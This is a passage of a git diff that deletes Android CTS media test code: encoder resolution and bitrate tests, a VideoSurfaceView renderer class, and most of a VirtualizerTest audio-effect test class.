-    public void testOtherVP9Surf720p()   { specific(otherVP9(),   1280, 720, false /* flex */); }
-
-    public void testGoogH265Flex1080p()   { specific(googH265(),   1920, 1080, true /* flex */); }
-    public void testGoogH265Surf1080p()   { specific(googH265(),   1920, 1080, false /* flex */); }
-    public void testGoogH264Flex1080p()   { specific(googH264(),   1920, 1080, true /* flex */); }
-    public void testGoogH264Surf1080p()   { specific(googH264(),   1920, 1080, false /* flex */); }
-    public void testGoogH263Flex1080p()   { specific(googH263(),   1920, 1080, true /* flex */); }
-    public void testGoogH263Surf1080p()   { specific(googH263(),   1920, 1080, false /* flex */); }
-    public void testGoogMpeg4Flex1080p()  { specific(googMpeg4(),  1920, 1080, true /* flex */); }
-    public void testGoogMpeg4Surf1080p()  { specific(googMpeg4(),  1920, 1080, false /* flex */); }
-    public void testGoogVP8Flex1080p()    { specific(googVP8(),    1920, 1080, true /* flex */); }
-    public void testGoogVP8Surf1080p()    { specific(googVP8(),    1920, 1080, false /* flex */); }
-    public void testGoogVP9Flex1080p()    { specific(googVP9(),    1920, 1080, true /* flex */); }
-    public void testGoogVP9Surf1080p()    { specific(googVP9(),    1920, 1080, false /* flex */); }
-
-    @NonMediaMainlineTest
-    public void testOtherH265Flex1080p()  { specific(otherH265(),  1920, 1080, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH265Surf1080p()  { specific(otherH265(),  1920, 1080, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264Flex1080p()  { specific(otherH264(),  1920, 1080, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH264Surf1080p()  { specific(otherH264(),  1920, 1080, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263Flex1080p()  { specific(otherH263(),  1920, 1080, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherH263Surf1080p()  { specific(otherH263(),  1920, 1080, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4Flex1080p() { specific(otherMpeg4(), 1920, 1080, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherMpeg4Surf1080p() { specific(otherMpeg4(), 1920, 1080, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8Flex1080p()   { specific(otherVP8(),   1920, 1080, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP8Surf1080p()   { specific(otherVP8(),   1920, 1080, false /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9Flex1080p()   { specific(otherVP9(),   1920, 1080, true /* flex */); }
-    @NonMediaMainlineTest
-    public void testOtherVP9Surf1080p()   { specific(otherVP9(),   1920, 1080, false /* flex */); }
-
-    public void testGoogH265Flex360pWithIntraRefresh() {
-        intraRefresh(googH265(), 480, 360);
-    }
-
-    public void testGoogH264Flex360pWithIntraRefresh() {
-        intraRefresh(googH264(), 480, 360);
-    }
-
-    public void testGoogH263Flex360pWithIntraRefresh() {
-        intraRefresh(googH263(), 480, 360);
-    }
-
-    public void testGoogMpeg4Flex360pWithIntraRefresh() {
-        intraRefresh(googMpeg4(), 480, 360);
-    }
-
-    public void testGoogVP8Flex360pWithIntraRefresh() {
-        intraRefresh(googVP8(), 480, 360);
-    }
-
-    @NonMediaMainlineTest
-    public void testOtherH265Flex360pWithIntraRefresh() {
-        intraRefresh(otherH265(), 480, 360);
-    }
-
-    @NonMediaMainlineTest
-    public void testOtherH264Flex360pWithIntraRefresh() {
-        intraRefresh(otherH264(), 480, 360);
-    }
-
-    @NonMediaMainlineTest
-    public void testOtherH263FlexQCIFWithIntraRefresh() {
-        intraRefresh(otherH263(), 176, 120);
-    }
-
-    @NonMediaMainlineTest
-    public void testOtherMpeg4Flex360pWithIntraRefresh() {
-        intraRefresh(otherMpeg4(), 480, 360);
-    }
-
-    @NonMediaMainlineTest
-    public void testOtherVP8Flex360pWithIntraRefresh() {
-        intraRefresh(otherVP8(), 480, 360);
-    }
-
-    // Tests encoder profiles required by CDD.
-    // H264
-    @NonMediaMainlineTest
-    public void testH264LowQualitySDSupport()   {
-        support(h264(), 320, 240, 20, 384 * 1000);
-    }
-
-    @NonMediaMainlineTest
-    public void testH264HighQualitySDSupport()   {
-        support(h264(), 720, 480, 30, 2 * 1000000);
-    }
-
-    @NonMediaMainlineTest
-    public void testH264FlexQVGA20fps384kbps()   {
-        detailed(h264(), 320, 240, 20, 384 * 1000, true /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testH264SurfQVGA20fps384kbps()   {
-        detailed(h264(), 320, 240, 20, 384 * 1000, false /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testH264Flex480p30fps2Mbps()   {
-        detailed(h264(), 720, 480, 30, 2 * 1000000, true /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testH264Surf480p30fps2Mbps()   {
-        detailed(h264(), 720, 480, 30, 2 * 1000000, false /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testH264Flex720p30fps4Mbps()   {
-        detailed(h264(), 1280, 720, 30, 4 * 1000000, true /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testH264Surf720p30fps4Mbps()   {
-        detailed(h264(), 1280, 720, 30, 4 * 1000000, false /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testH264Flex1080p30fps10Mbps()   {
-        detailed(h264(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testH264Surf1080p30fps10Mbps()   {
-        detailed(h264(), 1920, 1080, 30, 10 * 1000000, false /* flex */);
-    }
-
-    // VP8
-    @NonMediaMainlineTest
-    public void testVP8LowQualitySDSupport()   {
-        support(vp8(), 320, 180, 30, 800 * 1000);
-    }
-
-    @NonMediaMainlineTest
-    public void testVP8HighQualitySDSupport()   {
-        support(vp8(), 640, 360, 30, 2 * 1000000);
-    }
-
-    @NonMediaMainlineTest
-    public void testVP8Flex180p30fps800kbps()   {
-        detailed(vp8(), 320, 180, 30, 800 * 1000, true /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testVP8Surf180p30fps800kbps()   {
-        detailed(vp8(), 320, 180, 30, 800 * 1000, false /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testVP8Flex360p30fps2Mbps()   {
-        detailed(vp8(), 640, 360, 30, 2 * 1000000, true /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testVP8Surf360p30fps2Mbps()   {
-        detailed(vp8(), 640, 360, 30, 2 * 1000000, false /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testVP8Flex720p30fps4Mbps()   {
-        detailed(vp8(), 1280, 720, 30, 4 * 1000000, true /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testVP8Surf720p30fps4Mbps()   {
-        detailed(vp8(), 1280, 720, 30, 4 * 1000000, false /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testVP8Flex1080p30fps10Mbps()   {
-        detailed(vp8(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
-    }
-
-    @NonMediaMainlineTest
-    public void testVP8Surf1080p30fps10Mbps()   {
-        detailed(vp8(), 1920, 1080, 30, 10 * 1000000, false /* flex */);
-    }
-
-    private void minmin(Encoder[] encoders, boolean flexYUV) {
-        extreme(encoders, 0 /* x */, 0 /* y */, flexYUV, false /* near */);
-    }
-
-    private void minmax(Encoder[] encoders, boolean flexYUV) {
-        extreme(encoders, 0 /* x */, 1 /* y */, flexYUV, false /* near */);
-    }
-
-    private void maxmin(Encoder[] encoders, boolean flexYUV) {
-        extreme(encoders, 1 /* x */, 0 /* y */, flexYUV, false /* near */);
-    }
-
-    private void maxmax(Encoder[] encoders, boolean flexYUV) {
-        extreme(encoders, 1 /* x */, 1 /* y */, flexYUV, false /* near */);
-    }
-
-    private void nearminmin(Encoder[] encoders, boolean flexYUV) {
-        extreme(encoders, 0 /* x */, 0 /* y */, flexYUV, true /* near */);
-    }
-
-    private void nearminmax(Encoder[] encoders, boolean flexYUV) {
-        extreme(encoders, 0 /* x */, 1 /* y */, flexYUV, true /* near */);
-    }
-
-    private void nearmaxmin(Encoder[] encoders, boolean flexYUV) {
-        extreme(encoders, 1 /* x */, 0 /* y */, flexYUV, true /* near */);
-    }
-
-    private void nearmaxmax(Encoder[] encoders, boolean flexYUV) {
-        extreme(encoders, 1 /* x */, 1 /* y */, flexYUV, true /* near */);
-    }
-
-    private void extreme(Encoder[] encoders, int x, int y, boolean flexYUV, boolean near) {
-        boolean skipped = true;
-        if (encoders.length == 0) {
-            MediaUtils.skipTest("no such encoder present");
-            return;
-        }
-        for (Encoder encoder: encoders) {
-            if (encoder.testExtreme(x, y, flexYUV, near)) {
-                skipped = false;
-            }
-        }
-        if (skipped) {
-            MediaUtils.skipTest("duplicate resolution extreme");
-        }
-    }
-
-    private void arbitrary(Encoder[] encoders, boolean flexYUV, boolean widths) {
-        boolean skipped = true;
-        if (encoders.length == 0) {
-            MediaUtils.skipTest("no such encoder present");
-            return;
-        }
-        for (Encoder encoder: encoders) {
-            if (encoder.testArbitrary(flexYUV, widths)) {
-                skipped = false;
-            }
-        }
-        if (skipped) {
-            MediaUtils.skipTest("duplicate resolution");
-        }
-    }
-
-    private void arbitraryw(Encoder[] encoders, boolean flexYUV) {
-        arbitrary(encoders, flexYUV, true /* widths */);
-    }
-
-    private void arbitraryh(Encoder[] encoders, boolean flexYUV) {
-        arbitrary(encoders, flexYUV, false /* widths */);
-    }
-
-    /* test specific size */
-    private void specific(Encoder[] encoders, int width, int height, boolean flexYUV) {
-        boolean skipped = true;
-        if (encoders.length == 0) {
-            MediaUtils.skipTest("no such encoder present");
-            return;
-        }
-        for (Encoder encoder : encoders) {
-            if (encoder.testSpecific(width, height, flexYUV)) {
-                skipped = false;
-            }
-        }
-        if (skipped) {
-            MediaUtils.skipTest("duplicate or unsupported resolution");
-        }
-    }
-
-    /* test intra refresh with flexYUV */
-    private void intraRefresh(Encoder[] encoders, int width, int height) {
-        boolean skipped = true;
-        if (encoders.length == 0) {
-            MediaUtils.skipTest("no such encoder present");
-            return;
-        }
-        for (Encoder encoder : encoders) {
-            if (encoder.testIntraRefresh(width, height)) {
-                skipped = false;
-            }
-        }
-        if (skipped) {
-            MediaUtils.skipTest("intra-refresh unsupported");
-        }
-    }
-
-    /* test size, frame rate and bit rate */
-    private void detailed(
-            Encoder[] encoders, int width, int height, int frameRate, int bitRate,
-            boolean flexYUV) {
-        if (encoders.length == 0) {
-            MediaUtils.skipTest("no such encoder present");
-            return;
-        }
-        boolean skipped = true;
-        for (Encoder encoder : encoders) {
-            if (encoder.testSupport(width, height, frameRate, bitRate)) {
-                skipped = false;
-                encoder.testDetailed(width, height, frameRate, bitRate, flexYUV);
-            }
-        }
-        if (skipped) {
-            MediaUtils.skipTest("unsupported resolution and rate");
-        }
-    }
-
-    /* test size and rate are supported */
-    private void support(Encoder[] encoders, int width, int height, int frameRate, int bitRate) {
-        boolean supported = false;
-        if (encoders.length == 0) {
-            MediaUtils.skipTest("no such encoder present");
-            return;
-        }
-        for (Encoder encoder : encoders) {
-            if (encoder.testSupport(width, height, frameRate, bitRate)) {
-                supported = true;
-                break;
-            }
-        }
-        if (!supported) {
-            fail("unsupported format " + width + "x" + height + " " +
-                    frameRate + "fps " + bitRate + "bps");
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/VideoSurfaceView.java b/tests/tests/media/src/android/media/cts/VideoSurfaceView.java
deleted file mode 100644
index cb0b958..0000000
--- a/tests/tests/media/src/android/media/cts/VideoSurfaceView.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.platform.test.annotations.AppModeFull;
-import java.io.IOException;
-
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.opengles.GL10;
-
-import android.content.Context;
-import android.graphics.SurfaceTexture;
-import android.media.MediaPlayer;
-import android.opengl.GLSurfaceView;
-import android.opengl.Matrix;
-import android.util.Log;
-import android.view.Surface;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-class VideoSurfaceView extends GLSurfaceView {
-    private static final String TAG = "VideoSurfaceView";
-    private static final int SLEEP_TIME_MS = 1000;
-
-    VideoRender mRenderer;
-    private MediaPlayer mMediaPlayer = null;
-
-    public VideoSurfaceView(Context context, MediaPlayer mp) {
-        super(context);
-
-        setEGLContextClientVersion(2);
-        mMediaPlayer = mp;
-        mRenderer = new VideoRender(context);
-        setRenderer(mRenderer);
-    }
-
-    @Override
-    public void onResume() {
-        queueEvent(new Runnable(){
-                public void run() {
-                    mRenderer.setMediaPlayer(mMediaPlayer);
-                }});
-
-        super.onResume();
-    }
-
-    public void startTest() throws Exception {
-        Thread.sleep(SLEEP_TIME_MS);
-        mMediaPlayer.start();
-
-        Thread.sleep(SLEEP_TIME_MS * 5);
-        mMediaPlayer.setSurface(null);
-
-        while (mMediaPlayer.isPlaying()) {
-            Thread.sleep(SLEEP_TIME_MS);
-        }
-    }
-
-    /**
-     * A GLSurfaceView implementation that wraps TextureRender.  Used to render frames from a
-     * video decoder to a View.
-     */
-    private static class VideoRender
-            implements GLSurfaceView.Renderer, SurfaceTexture.OnFrameAvailableListener {
-        private static String TAG = "VideoRender";
-
-        private TextureRender mTextureRender;
-        private SurfaceTexture mSurfaceTexture;
-        private boolean updateSurface = false;
-
-        private MediaPlayer mMediaPlayer;
-
-        public VideoRender(Context context) {
-            mTextureRender = new TextureRender();
-        }
-
-        public void setMediaPlayer(MediaPlayer player) {
-            mMediaPlayer = player;
-        }
-
-        public void onDrawFrame(GL10 glUnused) {
-            synchronized(this) {
-                if (updateSurface) {
-                    mSurfaceTexture.updateTexImage();
-                    updateSurface = false;
-                }
-            }
-
-            mTextureRender.drawFrame(mSurfaceTexture);
-        }
-
-        public void onSurfaceChanged(GL10 glUnused, int width, int height) {
-        }
-
-        public void onSurfaceCreated(GL10 glUnused, EGLConfig config) {
-            mTextureRender.surfaceCreated();
-
-            /*
-             * Create the SurfaceTexture that will feed this textureID,
-             * and pass it to the MediaPlayer
-             */
-            mSurfaceTexture = new SurfaceTexture(mTextureRender.getTextureId());
-            mSurfaceTexture.setOnFrameAvailableListener(this);
-
-            Surface surface = new Surface(mSurfaceTexture);
-            mMediaPlayer.setSurface(surface);
-            surface.release();
-
-            try {
-                mMediaPlayer.prepare();
-            } catch (IOException t) {
-                Log.e(TAG, "media player prepare failed");
-            }
-
-            synchronized(this) {
-                updateSurface = false;
-            }
-        }
-
-        synchronized public void onFrameAvailable(SurfaceTexture surface) {
-            updateSurface = true;
-        }
-    }  // End of class VideoRender.
-
-}  // End of class VideoSurfaceView.
diff --git a/tests/tests/media/src/android/media/cts/VirtualizerTest.java b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
deleted file mode 100644
index 175f358..0000000
--- a/tests/tests/media/src/android/media/cts/VirtualizerTest.java
+++ /dev/null
@@ -1,696 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.media.audiofx.AudioEffect;
-import android.media.AudioFormat;
-import android.media.audiofx.Virtualizer;
-import android.os.Looper;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import android.media.cts.R;
-
-import java.util.Arrays;
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class VirtualizerTest extends PostProcTestBase {
-
-    private String TAG = "VirtualizerTest";
-    private final static short TEST_STRENGTH = 500;
-    private final static short TEST_STRENGTH2 = 1000;
-    private final static float STRENGTH_TOLERANCE = 1.1f;  // 10%
-    private final static int MAX_LOOPER_WAIT_COUNT = 10;
-
-    private Virtualizer mVirtualizer = null;
-    private Virtualizer mVirtualizer2 = null;
-    private ListenerThread mEffectListenerLooper = null;
-
-    //-----------------------------------------------------------------
-    // VIRTUALIZER TESTS:
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 0 - constructor
-    //----------------------------------
-
-    //Test case 0.0: test constructor and release
-    public void test0_0ConstructorAndRelease() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-
-        Virtualizer eq = null;
-        try {
-            eq = new Virtualizer(0, getSessionId());
-            try {
-                assertTrue(" invalid effect ID", (eq.getId() != 0));
-            } catch (IllegalStateException e) {
-                fail("Virtualizer not initialized");
-            }
-        } catch (IllegalArgumentException e) {
-            fail("Virtualizer not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        } finally {
-            if (eq != null) {
-                eq.release();
-            }
-        }
-    }
-
-
-    //-----------------------------------------------------------------
-    // 1 - get/set parameters
-    //----------------------------------
-
-    //Test case 1.0: test strength
-    public void test1_0Strength() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-
-        getVirtualizer(getSessionId());
-        try {
-            if (mVirtualizer.getStrengthSupported()) {
-                short strength = mVirtualizer.getRoundedStrength();
-                strength = (strength == TEST_STRENGTH) ? TEST_STRENGTH2 : TEST_STRENGTH;
-                mVirtualizer.setStrength((short)strength);
-                short strength2 = mVirtualizer.getRoundedStrength();
-                // allow STRENGTH_TOLERANCE difference between set strength and rounded strength
-                assertTrue("got incorrect strength",
-                        ((float)strength2 > (float)strength / STRENGTH_TOLERANCE) &&
-                        ((float)strength2 < (float)strength * STRENGTH_TOLERANCE));
-            } else {
-                short strength = mVirtualizer.getRoundedStrength();
-                assertTrue("got incorrect strength", strength >= 0 && strength <= 1000);
-            }
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //Test case 1.1: test properties
-    public void test1_1Properties() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-
-        getVirtualizer(getSessionId());
-        try {
-            Virtualizer.Settings settings = mVirtualizer.getProperties();
-            String str = settings.toString();
-            settings = new Virtualizer.Settings(str);
-
-            short strength = settings.strength;
-            if (mVirtualizer.getStrengthSupported()) {
-                strength = (strength == TEST_STRENGTH) ? TEST_STRENGTH2 : TEST_STRENGTH;
-            }
-            settings.strength = strength;
-            mVirtualizer.setProperties(settings);
-            settings = mVirtualizer.getProperties();
-
-            if (mVirtualizer.getStrengthSupported()) {
-                // allow STRENGTH_TOLERANCE difference between set strength and rounded strength
-                assertTrue("got incorrect strength",
-                        ((float)settings.strength > (float)strength / STRENGTH_TOLERANCE) &&
-                        ((float)settings.strength < (float)strength * STRENGTH_TOLERANCE));
-            }
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //Test case 1.2: test setStrength() throws exception after release
-    public void test1_2SetStrengthAfterRelease() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-
-        getVirtualizer(getSessionId());
-        mVirtualizer.release();
-        try {
-            mVirtualizer.setStrength(TEST_STRENGTH);
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 2 - Effect enable/disable
-    //----------------------------------
-
-    //Test case 2.0: test setEnabled() and getEnabled() in valid state
-    public void test2_0SetEnabledGetEnabled() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-
-        getVirtualizer(getSessionId());
-        try {
-            mVirtualizer.setEnabled(true);
-            assertTrue(" invalid state from getEnabled", mVirtualizer.getEnabled());
-            mVirtualizer.setEnabled(false);
-            assertFalse(" invalid state to getEnabled", mVirtualizer.getEnabled());
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //Test case 2.1: test setEnabled() throws exception after release
-    public void test2_1SetEnabledAfterRelease() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-
-        getVirtualizer(getSessionId());
-        mVirtualizer.release();
-        try {
-            mVirtualizer.setEnabled(true);
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 3 priority and listeners
-    //----------------------------------
-
-    //Test case 3.0: test control status listener
-    public void test3_0ControlStatusListener() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-
-        synchronized(mLock) {
-            mHasControl = true;
-            mInitialized = false;
-            createListenerLooper(true, false, false);
-            waitForLooperInitialization_l();
-
-            getVirtualizer(mSession);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mHasControl && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseVirtualizer();
-        }
-        assertFalse("effect control not lost by effect1", mHasControl);
-    }
-
-    //Test case 3.1: test enable status listener
-    public void test3_1EnableStatusListener() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, true, false);
-            waitForLooperInitialization_l();
-
-            mVirtualizer2.setEnabled(true);
-            mIsEnabled = true;
-            getVirtualizer(mSession);
-            mVirtualizer.setEnabled(false);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mIsEnabled && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseVirtualizer();
-        }
-        assertFalse("enable status not updated", mIsEnabled);
-    }
-
-    //Test case 3.2: test parameter changed listener
-    public void test3_2ParameterChangedListener() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, false, true);
-            waitForLooperInitialization_l();
-
-            getVirtualizer(mSession);
-            mChangedParameter = -1;
-            mVirtualizer.setStrength(TEST_STRENGTH);
-
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseVirtualizer();
-        }
-        assertEquals("parameter change not received",
-                Virtualizer.PARAM_STRENGTH, mChangedParameter);
-    }
-
-    //-----------------------------------------------------------------
-    // 4 virtualizer capabilities
-    //----------------------------------
-
-    //Test case 4.0: test virtualization format / mode query: at least one of the following
-    //   combinations must be supported, otherwise the effect doesn't really qualify as
-    //   a virtualizer: AudioFormat.CHANNEL_OUT_STEREO or the quad and 5.1 side/back variants,
-    //   in VIRTUALIZATION_MODE_BINAURAL or VIRTUALIZATION_MODE_TRANSAURAL
-    public void test4_0FormatModeQuery() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-        getVirtualizer(getSessionId());
-        try {
-            boolean isAtLeastOneConfigSupported = false;
-            boolean isConfigSupported = false;
-
-            // testing combinations of input channel mask and virtualization mode
-            for (int m = 0 ; m < VIRTUALIZATION_MODES.length ; m++) {
-                for (int i = 0 ; i < CHANNEL_MASKS.length ; i++) {
-                    isConfigSupported = mVirtualizer.canVirtualize(CHANNEL_MASKS[i],
-                            VIRTUALIZATION_MODES[m]);
-                    isAtLeastOneConfigSupported |= isConfigSupported;
-                    // optional logging
-                    String channelMask = Integer.toHexString(CHANNEL_MASKS[i]).toUpperCase();
-                    String nativeChannelMask =
-                            Integer.toHexString(CHANNEL_MASKS[i] >> 2).toUpperCase();
-                    Log.d(TAG, "content channel mask: 0x" + channelMask + " (native 0x"
-                            + nativeChannelMask
-                            + ") mode: " + VIRTUALIZATION_MODES[m]
-                            + " supported=" + isConfigSupported);
-                }
-            }
-
-            assertTrue("no valid configuration supported", isAtLeastOneConfigSupported);
-        } catch (IllegalArgumentException e) {
-            fail("bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("command not supported");
-        } catch (IllegalStateException e) {
-            fail("command called in wrong state");
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //Test case 4.1: test that the capabilities reported by Virtualizer.canVirtualize(int,int)
-    //   matches those returned by Virtualizer.getSpeakerAngles(int, int, int[])
-    public void test4_1SpeakerAnglesCapaMatchesFormatModeCapa() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-        getVirtualizer(getSessionId());
-        try {
-            // 3: see size requirement in Virtualizer.getSpeakerAngles(int, int, int[])
-            // 6: for number of channels of 5.1 masks in CHANNEL_MASKS
-            int[] angles = new int[3*6];
-            for (int m = 0 ; m < VIRTUALIZATION_MODES.length ; m++) {
-                for (int i = 0 ; i < CHANNEL_MASKS.length ; i++) {
-                    Arrays.fill(angles,AudioFormat.CHANNEL_INVALID);
-                    boolean canVirtualize = mVirtualizer.canVirtualize(CHANNEL_MASKS[i],
-                            VIRTUALIZATION_MODES[m]);
-                    boolean canGetAngles = mVirtualizer.getSpeakerAngles(CHANNEL_MASKS[i],
-                            VIRTUALIZATION_MODES[m], angles);
-                    assertTrue("mismatch capability between canVirtualize() and getSpeakerAngles()",
-                            canVirtualize == canGetAngles);
-                    if(canGetAngles) {
-                        //check if the number of angles matched the expected number of channels for
-                        //each CHANNEL_MASKS
-                        int expectedChannelCount = CHANNEL_MASKS_CHANNEL_COUNT[i];
-                        for(int k=0; k<expectedChannelCount; k++) {
-                            int speakerIdentification = angles[k*3];
-                            assertTrue("found unexpected speaker identification or channel count",
-                                    speakerIdentification !=AudioFormat.CHANNEL_INVALID );
-                        }
-                    }
-                }
-            }
-        } catch (IllegalArgumentException e) {
-            fail("bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("command not supported");
-        } catch (IllegalStateException e) {
-            fail("command called in wrong state");
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //Test case 4.2: test forcing virtualization mode: at least binaural or transaural must be
-    //   supported
-    public void test4_2VirtualizationMode() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-        getVirtualizer(getSessionId());
-        try {
-            mVirtualizer.setEnabled(true);
-            assertTrue("invalid state from getEnabled", mVirtualizer.getEnabled());
-            // testing binaural
-            boolean binauralSupported =
-                    mVirtualizer.forceVirtualizationMode(Virtualizer.VIRTUALIZATION_MODE_BINAURAL);
-            // testing transaural
-            boolean transauralSupported = mVirtualizer
-                    .forceVirtualizationMode(Virtualizer.VIRTUALIZATION_MODE_TRANSAURAL);
-            // testing at least one supported
-            assertTrue("doesn't support binaural nor transaural",
-                    binauralSupported || transauralSupported);
-        } catch (IllegalArgumentException e) {
-            fail("bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("command not supported");
-        } catch (IllegalStateException e) {
-            fail("command called in wrong state");
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //Test case 4.3: test disabling virtualization maps to VIRTUALIZATION_MODE_OFF
-    public void test4_3DisablingVirtualizationOff() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-        getVirtualizer(getSessionId());
-        try {
-            mVirtualizer.setEnabled(false);
-            assertFalse("invalid state from getEnabled", mVirtualizer.getEnabled());
-            int virtMode = mVirtualizer.getVirtualizationMode();
-            assertTrue("disabled virtualization isn't reported as OFF",
-                    virtMode == Virtualizer.VIRTUALIZATION_MODE_OFF);
-        } catch (IllegalArgumentException e) {
-            fail("bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("command not supported");
-        } catch (IllegalStateException e) {
-            fail("command called in wrong state");
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //Test case 4.4: test forcing virtualization mode to AUTO
-    public void test4_4VirtualizationModeAuto() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-        getVirtualizer(getSessionId());
-        try {
-            mVirtualizer.setEnabled(true);
-            assertTrue("invalid state from getEnabled", mVirtualizer.getEnabled());
-            boolean forceRes =
-                    mVirtualizer.forceVirtualizationMode(Virtualizer.VIRTUALIZATION_MODE_AUTO);
-            assertTrue("can't set virtualization to AUTO", forceRes);
-
-        } catch (IllegalArgumentException e) {
-            fail("bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("command not supported");
-        } catch (IllegalStateException e) {
-            fail("command called in wrong state");
-        } finally {
-            releaseVirtualizer();
-        }
-    }
-
-    //Test case 4.5: test for consistent capabilities if virtualizer is enabled or disabled
-    public void test4_5ConsistentCapabilitiesWithEnabledDisabled() throws Exception {
-        if (!isVirtualizerAvailable()) {
-            return;
-        }
-        getVirtualizer(getSessionId());
-        try {
-            // 3: see size requirement in Virtualizer.getSpeakerAngles(int, int, int[])
-            // 6: for number of channels of 5.1 masks in CHANNEL_MASKS
-            int[] angles = new int[3*6];
